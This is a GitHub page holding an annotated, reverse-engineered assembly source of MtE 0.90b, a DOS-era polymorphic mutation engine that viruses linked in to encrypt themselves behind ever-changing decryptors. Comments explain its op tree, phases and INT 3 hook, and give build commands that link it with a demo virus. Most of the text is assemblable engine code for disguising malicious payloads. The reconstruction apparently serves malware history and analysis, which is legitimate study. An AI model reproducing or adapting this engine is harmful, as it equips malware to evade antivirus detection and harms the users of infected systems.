-
Notifications
You must be signed in to change notification settings - Fork 5
/
mte.asm
2187 lines (1764 loc) · 55.8 KB
/
mte.asm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
;
; MtE 0.90b
;
; This is probably my favourite polymorphic engine from the DOS era, and the
; one that kicked off a trend of releasing engines as a linkable library (TPE,
; NED, etc). This is a byte-for-byte match of the binary, but unfortunately I
; couldn't find TASM 2.5 to get an identical build of the .OBJ. To assemble:
;
; > tasm /w+ /v /m mte
; > tlink /x /t demovir rnd mte
;
; It took several hours to pull this apart, as the code generation strategy and
; phases weren't immediately obvious without sticking breakpoints into the
; code. This was made difficult with traditional tools (i.e. debug.exe) by MtE
; requiring an INT 3 handler for tracing during its garbage generation to
; insert a (TEST+)JNZ payload. Most of the memory references to the work
; area throughout the code are done indirectly via [di], I've applied the delta
; to clarify the target of the reference. This might seem a little awkward
; with '(ops - ops)[si]', but let's err on the side of readability.
;
; The values used in the ops tree (work:ops => es:0).
;
; 0 operand: immediate (unless lower byte is 0)
; 1 operand: target (ax, [ptr_reg], etc) depending on phase
; 2 operand: pointer register (only when phase 1)
; 3 invertible op: sub
; 4 invertible op: add
; 5 invertible op: xor
; 6 invertible op: mul
; 7 invertible op: rol
; 8 invertible op: ror
; 9 junk op: shl
; 10 junk op: shr
; 11 junk op: or
; 12 junk op: and
; 13 junk op: imul
; 14 control flow op: jnz
;
; tree example:
;
; .--------v .---------------------v--v .--------v------v
; x ROL--MUL IMUL XOR 44625 34945 AND x 4632 MUL 8955 25355 41667
; `----|--^ `-------|-------------^ `-----------^----^
; `-------------'
;
; some optimizations (see try_optimization) are made for generated code with
; ADD/SUB reg,[-2,2] into INC/DEC reg. impressively, this is also done for "XOR
; reg,-1" into NOT, and is the only time MtE generates NOT.
;
; ROL/ROR/SHL/SHR will also be optimized, with arg clamped in [0,15]:
; 0 don't emit op
; 1 emit reg,1 form
; 2 emit reg,1 form, twice
; rotates: arg 7..15 negate and switch direction
;
; structure is as follows:
; 1. intro ops, init pointer reg
; 2. crypt ops
; 3.
; a. post crypt-ops
; b. inverse of 3a
; 4. inc/inc ptr, unless an add/sub op on the ptr was adjusted in 3b
; 5. jnz *2
; 6. outro ops
;
; enjoy!
;
max_add = 512
; either (0x16 + 3) or (32 - 7)? this is documented as "32" in mte.doc.
max_add_len = 25
; 0x834=2100
code_len = code_top - code_start
; 0x572=1394, sizeof(struc work) + MAX_ADD_LEN
max_len = (work_top - work_start) + max_add_len
public max_add, max_add_len, code_len, max_len
public code_top, code_start
public mut_engine
locals
.model tiny
.code
extrn rnd_init: near, rnd_get: near
assume ds: work
org 0
code_start:
db 'MtE 0.90', 0E1h ; E1 -> beta-ish in CP437
; IN
;
; es = work segment
; ds:dx = code to encrypt
; cx = length
; bp = offset of execution
; di = offset of code entry point
; si = offset of start address for encrypted code
; bl = routine size (1,3,7,15)
; ax = 0..7 preserve regs,
; 8 will run on different cpu
; 9 don't assume cs = ds
; 10 don't assume cs = ss
; 11 don't align
;
; OUT
;
; es = work segment
; ds:dx = decryption routine + encrypted code
; cx = length
; ax = length that was encrypted (MAX_ADD_LEN)
; di = offset of decryption routine end
; si = offset of loop start
mut_engine proc near ; {{{
cld
push ds
push dx
push bp
call make_enc_and_dec
mov bx, dx
xchg ax, bp
pop dx ; running offset
pop si ; code to encrypt off
pop bp ; code to encrypt seg
sub bx, di
push bx
push di
push cx
call encrypt_target
pop cx
pop si
mov di, offset work_top
sub di, cx
push di
push dx
rep
movsb
pop cx
pop dx
pop si
sub cx, dx
sub di, dx
get_arg_size:
mov ax, [arg_size_neg]
neg ax
retn
mut_engine endp ; }}}
make_enc_and_dec proc near ; {{{
push es
pop ds ; ds = work seg
add cx, max_add_len - 3 ; 22
neg cx
and cl, 0FEh
jnz @@dont_round_size
dec cx
dec cx
@@dont_round_size:
xchg ax, di
mov [arg_code_entry], ax
add ax, cx
and al, 0FEh
jnz @@dont_round_end
dec ax
dec ax
@@dont_round_end:
push ax ; save -(len + 22 - entry)
xchg ax, di
mov di, offset arg_flags
stosw
xchg ax, cx
stosw
xchg ax, bp
stosw
xchg ax, si
stosw
mov cl, 20h ; test for shift 0x1f masking
shl cl, cl
xor cl, 20h ; 286:0, 8086:20
mov (is_8086 - reg_used)[di], cl
@@restart: ; bp = total_end
pop bp
push bp
push bx ; bx = amount of junk to make
call RND_INIT ; unusual to srand() multiple times
; although di is initially reg_used (arg_flags+8*2), it
; won't be on restart!
mov di, offset reg_used
mov cx, 8
mov al, -1
rep stosb
mov di, offset decrypt_stage
mov bl, 7 ; bl=7 for pre-loop junk
call @@make ; generates junk on the first call
dec di ; rewind the retf
cmp di, offset decrypt_stage
jz @@nothing_emitted
; get our key value
push dx
push di
; bp = location of the MOV's imm16 (see @@load_arg)
push bp
mov ax, 1
call exec_enc_stage
pop di
xchg ax, bp
stosw ; patch the "mov reg,imm16"
pop di
pop dx
@@nothing_emitted:
pop bx
pop ax
xor bp, bp
@@make:
push ax
push bx
push dx
push di ; save pointer into decrypt_stage
xor ax, ax
mov di, offset jnz_addr_dec
if 21h*3 eq (jnz_addr_dec - work_start)
mov cx, di ; 0x63 (cute)
else
mov cx, 21h*3
endif
rep
stosw
mov al, 4 ; don't assume cs == ss, needed for the staged encryption
xchg al, byte ptr (arg_flags + 1 - op_idx)[di]
push ax ; save old flags
; bl=maxlen dx=target_val bp=phase di=buf
mov dx, (arg_size_neg - op_idx)[di]
mov di, offset encrypt_stage
push bp
call g_code ; make encryptor
pop bp
call invert_ops
pop ax ; get flags back
pop di ; get the pointer into decrypt_stage back
pop dx
mov byte ptr [arg_flags+1], al
and al, 1 ; run on diff cpu?
sub [is_8086], al ; if yes: 286+, 0:-1; 8086, 0x20:0x1f
push ax
call g_code_from_ops ; make decryptor
pop ax ; flags
add (is_8086 - ptr_reg)[si], al ; restore val
xchg ax, bx
pop bx
; ax is the second patch point; 0 if g_code failed; 0xff00 if we
; should loop
sub ax, offset patch_dummy
jb @@restart ; loop
jnz @@done ; single ref
; start off == 0?
cmp (arg_start_off - ptr_reg)[si], ax
jnz @@restart
@@done:
pop bx
retn
make_enc_and_dec endp ; }}}
encrypt_target proc near ; {{{
; input
; cx: length of routine
; dx: offset of execution
; ax: optionally, entry point
; bp: payload seg
; si: payload off
add cx, dx ; cx=len+exec offset
mov dx, di ; dx=buf
xchg ax, di
mov ax, arg_code_entry
test ax, ax
jnz @@entry_not_zero
mov di, offset work_top
@@entry_not_zero:
; rewrite the generated pushes to pops {{{
mov bx, offset decrypt_stage
push cx
push ax
@@fix_pop_loop:
cmp bx, dx
jz @@pops_done
dec bx
mov al, [bx]
xor al, 1
cmp al, 61h ; popa
jz @@dont_flip
xor al, 9 ; re-flip 1, flip 8 (50..57 -> 58..5f)
@@dont_flip:
stosb
inc cx
jmp @@fix_pop_loop
@@pops_done:
pop dx
pop ax
; }}}
mov bx, offset patch_dummy
; check if a different entry point was given by the caller. if so,
; emit a JMP NEAR.
test dx, dx
jz @@emit_align_nops
xchg ax, cx
mov al, 0E9h ; JMP off16
stosb
mov bx, di ; patch point
xchg ax, dx
stosw
mov di, offset work_top
@@emit_align_nops:
; align?
test byte ptr arg_flags+1, 8
jnz @@no_align
neg cx
and cx, 0Fh
mov al, 90h ; nop padding
rep
stosb
@@no_align:
; if there's an entry point != 0, bx will point to the off16 of the
; generated JMP NEAR. if the entry point is 0, bx points to patch_dummy.
lea ax, (ops - work_top)[di]
add [bx], ax
; add any additional bytes we've generated
and al, 0FEh
add arg_size_neg, ax
call get_arg_size
mov ds, bp ; payload seg (supplied)
shr ax, 1
mov cx, ax
rep
movsw
exec_enc_stage:
push di
push ax
; hook int 3 to analyze JNZs
xor cx, cx
mov ds, cx
mov cx, cs
mov bx, offset int_3_handler
mov di, 3*4
cli
xchg cx, [di+2]
xchg bx, [di]
sti
push cx
push bx
push di
push ds
; execute code at encrypt_stage
push es
pop ds
push cs
mov bx, offset encrypt_stage
call @@jmp_es_bx ; switch control to the generated encryptor
xchg ax, bp ; set bp to the result of the junk's ax
pop es
pop di
; restore int 3 vector
cli
pop ax
stosw
pop ax
stosw
sti
pop bx ; caller's ax
push ds
pop es
; for any encoded JNZs, either
; a) if it's never taken, trash the JNZ's destination
; b) if it's always taken, trash all the bytes between the jump
; and the destination
;
; this also handles nested JNZs, and will trash the
; "outermost" JNZ if it's always/never taken
mov di, offset jnz_addr_dec
xor si, si
mov cx, 21h ; size of the table
@@find_next_fill:
xor ax, ax
repz
scasw
jz @@done ; no fill required
mov ax, word ptr (jnz_addr_dec - (jnz_addr_dec+2))[di]
; si_0=0, si_n=jnz_count[n-1]
cmp ax, si
jb @@find_next_fill
mov dx, 1
xchg ax, si
mov ax, word ptr (jnz_count - (jnz_addr_dec+2))[di]
; never taken? set JNZ's dest to a random value
; bx = arg_size>>1 (i.e. loop count)
cmp ax, bx
jz @@fill_loop
; always taken? trash the dead code
or ax, ax
jnz @@find_next_fill
lodsb ; grab jnz offset
cbw
xchg ax, dx
@@fill_loop:
call RND_GET ; junk [si] with dx count
mov [si], al
inc si
dec dx
jnz @@fill_loop
jmp @@find_next_fill
@@jmp_es_bx:
push es
push bx
retf
@@done:
pop dx
retn
encrypt_target endp ; }}}
int_3_handler proc far ; {{{
push bp
mov bp, sp
push di
push cx
push bx
push ax
mov bx, [bp+2] ; caller's return addr
mov al, [bx] ; get jump offset
jnz @@done ; no zf? take the jump
xchg ax, bx
mov di, offset jnz_addr_enc
mov cx, 21h
repne
scasw ; find the addr in jnz_addr_enc[]
inc word ptr (jnz_count - (jnz_addr_enc+2))[di]
mov al, ch ; al = 0, jump isn't taken
@@done:
cbw
inc ax
add [bp+2], ax
pop ax
pop bx
pop cx
pop di
pop bp
iret
int_3_handler endp ; }}}
make_ops_table proc near ; {{{
; set the three pointers for cur, free, next
mov di, offset op_idx
mov ax, 0101h
stosb
stosw
; 0x81 => target load | x_path_flag
mov ah, 81h
mov word ptr [ops], ax ; ops[0]=1; ops[1]=0x81
@@make_ops_loop:
call RND_GET
xchg ax, dx
call RND_GET
mov bl, (op_next_idx - (op_idx + 3))[di]
xor bh, bh
mov si, bx
mov cx, [si-1]
; currently mul? prepare an odd imm value operand {{{
cmp ch, 6
jnz @@check_mul_x
@@make_arg_odd:
or dl, 1
jmp @@check_arg
@@check_mul_x:
cmp ch, 86h
jnz @@not_mul
xor cl, cl
inc bx
; }}}
@@not_mul:
and al, (junk_len_mask - (op_idx + 3))[di]
cmp al, bl
jnb @@pick_op ; made enough ops?
shr bl, 1
jnc @@check_arg
; sibling node is an immediate move?
or cl, cl
jz @@last_op
@@check_arg:
; avoid sentinel value for imm arg
or dl, dl
@@last_op:
mov al, 0 ; operand imm value
jnz @@save_op_idx
or bp, bp
jnz @@make_arg_odd
; only during phase:0
mov al, 2 ; operand ptr reg
@@save_op_idx:
or ch, ch
jns @@not_x
; save current target index
mov word ptr (op_end_idx - (op_idx + 3))[di], si
mov al, 1 ; operand target
@@not_x:
mov (ops - ops)[si], al
jmp @@sto_arg_loop
@@pick_op: ; {{{
xchg ax, dx
aam 12 ; al = al % 12
and ch, 80h ; flag for the x path
jz @@not_crypt_ops
; we're on the x path, don't generate junk
; al = [0,5], which later becomes [3,8] at the next step
; i.e. sub, add, xor, mul, rol, ror
shr al, 1
@@not_crypt_ops:
inc ax ; using INC to preserve CF
inc ax
inc ax
mov ah, al ; al = [3,14]
mov (ops - ops)[si], al
mov dl, (op_free_idx - (op_idx + 3))[di]
inc dx
mov dh, dl
inc dh
mov (op_free_idx - (op_idx + 3))[di], dh
mov bl, dl
mov bh, 0
mov cl, bh ; bh = cl = 0
; 50/50 when doing crypt ops (c set from the shr above)
; decides which branch to send the target
jnc @@go_left
cmp al, 6
jb @@sto_op ; [3,6) = sub,add,xor
@@go_left:
xchg cl, ch
@@sto_op:
xor ax, cx
mov (ops - ops)[bx], ax
; }}}
@@sto_arg_loop:
; save operand
shl si, 1
mov word ptr (ops_args - ops)[si], dx
; tree complete?
inc byte ptr (op_next_idx - (op_idx + 3))[di]
mov al, (op_free_idx - (op_idx + 3))[di]
cmp al, (op_next_idx - (op_idx + 3))[di]
jb _ret
jmp @@make_ops_loop
make_ops_table endp ; }}}
encode_mrm_beg proc near ; {{{
dec bp
encode_mrm:
or dh, dh ; dh signed -> bl_op_reg_mrm
jns bl_op_reg_mrm ; MRM is reg,imm
encode_mrm_ptr:
; if we're in phase:-1, emit the op in bl with operands reg1=al and
; reg2=ptr_reg. i.e. post-op garbage
mov dh, (ptr_reg - ptr_reg)[si]
inc bp
jz encode_mrm_beg
; if we're not in phase 0: dx=bp, bp=di+1, setc
dec bp
jnz @@load_arg
; phase 0, doing the data load
push bx
mov bx, (offset @@mrm_byte - 3)
xchg al, dh ; ptr_reg
xlat byte ptr cs:[bx]
; bp?
cmp al, 86h
xchg al, dh
xchg ax, bx
mov cl, 2Eh ; cs: prefix
mov al, byte ptr arg_flags+1
jnz @@ptr_is_bp
test al, 2 ; cs == ds?
jnz @@assume_ds
mov cl, 3Eh ; ds: prefix
@@assume_ds:
test al, 4 ; cs == ss?
jmp @@do_seg_override
@@ptr_is_bp:
test al, 4 ; cs == ss?
jnz @@assume_ss
mov cl, 36h ; ss: prefix
@@assume_ss:
test al, 2 ; cs == ds?
@@do_seg_override:
jz @@no_override
mov al, cl
stosb
@@no_override:
pop ax
call encode_op_mrm ; al = op, bl = reg, dh = rm
mov (op_off_patch - ptr_reg)[si], di
stosw
_ret:
retn
@@load_arg:
; return dx=phase, and bp to the cur ptr into the staging area
mov dx, bp
lea bp, [di+1]
stc_ret:
stc
retn
@@mrm_byte:
; bx x bp si di
db 87h, 0, 86h, 84h, 85h
encode_mrm_beg endp ; }}}
; $ cmp -l MTE-090a.OBJ MTE-091b.OBJ
; 1014 65 175
; 1015 347 112
;
; MtE 0.90a: 0x35 0xe7
; MtE 0.91b: 0x7d 0x4a
;
; this is either garbage from padding (not sure if tlink does
; that), or ...
; >>> bin(0xe735) '0b1110011100110101'
; >>> bin(0x4a7d) '0b0100101001111101'
db 35h, 0E7h
emit_mov_reg proc near ; {{{
or dh, dh
js encode_mrm_ptr
emit_mov_reg_reg:
cmp dh, al
jz _ret ; dont op on the same reg
; on 286, generating a
; MOV CL,BL
; MOV CX,SI
; MOV CX,DI
; MOV CX,BP
cmp byte ptr (is_8086 - ptr_reg)[si], 0FFh
jnz bl_op_reg_mrm
push ax
; is the dest ax? do `xchg ${al},ax`
or dh, dh
jz @@zero_dest
; is the src ax? do `xchg ${dh},ax`
or al, al
jnz @@dont_xchg
mov al, dh
@@zero_dest:
or bp, bp
jnz @@phase_ok
; if phase is 0 and reg is ptr_reg, emit the op and a reg/reg MRM
cmp al, (ptr_reg - ptr_reg)[si]
jz @@dont_xchg
@@phase_ok:
pop bx
or al, 90h
stosb
retn
@@dont_xchg:
pop ax
bl_op_reg_mrm: ; 0xc0 >> 3
or al, 00011000b
xchg ax, bx
encode_op_mrm: ; al = op, bl = reg, dh = rm
stosb
xchg ax, bx
mov cl, 3
shl al, cl
or al, dh
stosb
retn
emit_mov_reg endp ; }}}
get_op_loc proc near ; {{{
; for a given ops_args index, find its parent
mov bx, ax
shr al, 1
mov cx, ax
shl cx, 1
mov di, (offset ops_args+2)
@@again:
repne
scasb
jnz stc_ret
lea si, (ops - (ops_args+1))[di]
shr si, 1
; nodes in ops 0..2 are terminal, with the ops_args being the load
; value. in case we inadvertently get a match on the value, ensure
; the node is not in 0..2.
cmp byte ptr [si], 3 ; operand?
jb @@again
lea ax, (ops - (ops_args+1))[di]
retn
get_op_loc endp ; }}}
invert_ops proc near ; {{{
mov al, op_end_idx
cbw
shl al, 1
call get_op_loc ; get parent
jc @@_ret
mov op_idx, al
@@again:
call get_op_loc ; get parent
jnc @@not_marker
xor al, al ; couldn't find it
@@not_marker:
push ax
shr al, 1
mov (ops_args - ops)[bx], al
shr bl, 1
lahf ; c set if left
mov al, (ops - ops)[bx]
and al, 7Fh ; clear x flag
; sub->add if we're on the rhs, i.e.
; x1 = sub(y,x0)
; add(x1, y) = x0
cmp al, 3
jnz @@check_add
sahf
jc @@done
inc ax
jmp @@store
@@check_add:
; add->sub
cmp al, 4
jnz @@maybe_mul
sahf
jnc @@store_sub
; flip args if we're on rhs
mov si, bx
mov cl, 8
rol word ptr (ops_args - ops)[bx+si], cl
@@store_sub:
dec ax
jmp @@store
@@maybe_mul:
cmp al, 6
jb @@done
jnz @@toggle_rotate
; is mul. set arg to the multiplicative inverse.
shl bl, 1
mov bl, (ops_args + 1 - ops)[bx]
shl bl, 1
mov si, word ptr (ops_args - ops)[bx]
xor ax, ax
mov dx, 1
mov cx, ax
mov di, dx
@@gcd_loop:
mov word ptr (ops_args - ops)[bx], di
dec si
jz @@done
inc si
div si
push dx
mul di
sub cx, ax
xchg cx, di
mov ax, si
xor dx, dx
pop si
jmp @@gcd_loop
@@toggle_rotate:
xor al, 0Fh ; toggle 7/8. rol and ror
@@store:
mov (ops - ops)[bx], al
@@done:
pop ax
or al, al
jnz @@again
shr op_idx, 1
@@_ret: retn
invert_ops endp ; }}}
g_code proc near ; {{{
; in
; bl: 1,3,7,15
; dx: target value (if signed, it's a load for arg_size_neg)
; di: buf
; bp: phase (-1,0,1,n)
mov junk_len_mask, bl
@@g_code_no_mask: ; second entry point, for loop
push dx
push di
call make_ops_table
pop di
pop dx
g_code_from_ops: ; called from make_enc_and_dec, and further down to loop
; in
; dx: target value (if signed, it's a load for arg_size_neg)
; di: buf
; bp: phase (-1,0,1,n)
; out
; dx: value to be set?
push di
; 1. set cx/dx as needed (if dep op was found)
; 2. set ax/(bx|bp|si|di) or set (bx|bp|si|di)*2
; {{{
mov di, offset reg_available
mov ax, -1
stosw ; ax and cx available
inc al
stosw ; dx unavailable bx available
stosw ; sp unavailable bp available
dec al
stosw ; si and di available
mov (last_op_flag - ptr_reg)[di], al
mov bl, (op_idx - ptr_reg)[di]
push bx ; check_reg_deps trashes bx/dx
push dx
; walk backwards to check for immediate dependencies on cx/dx
call check_reg_deps ; bl = idx to op
; pick a pointer and data reg
mov si, di ; si = 0x14c
call ptr_and_r_sto
pop dx ; restore target value
pop bx ; restore [op_idx]
; }}}
pop di
; bp = size_neg => intro junk
; 1 => making loop
; 0 => making decryptor loop end+outro
; -1 => post loop ops
; bx = op_idx
; dx = dh: target reg, dl: 0 => reg move
; -1 => no move
push bx
inc bp ; bp == -1?
jz @@making_junk
dec bp ; bp != 0?
jnz @@do_intro_garbage
inc bp
; phase: -1, 0 {{{
@@making_junk:
dec bp
inc dx ; when dx = -1 we're making outro junk
jz @@no_mov
dec dx
; otherwise emit a mov into ptr_reg (dl=0 will be reg,reg)
dec bp
mov al, (ptr_reg - ptr_reg)[si]
call emit_mov ; writes out the mov index,size_neg
inc bp
@@no_mov:
; generate ops indexed by bl
pop bx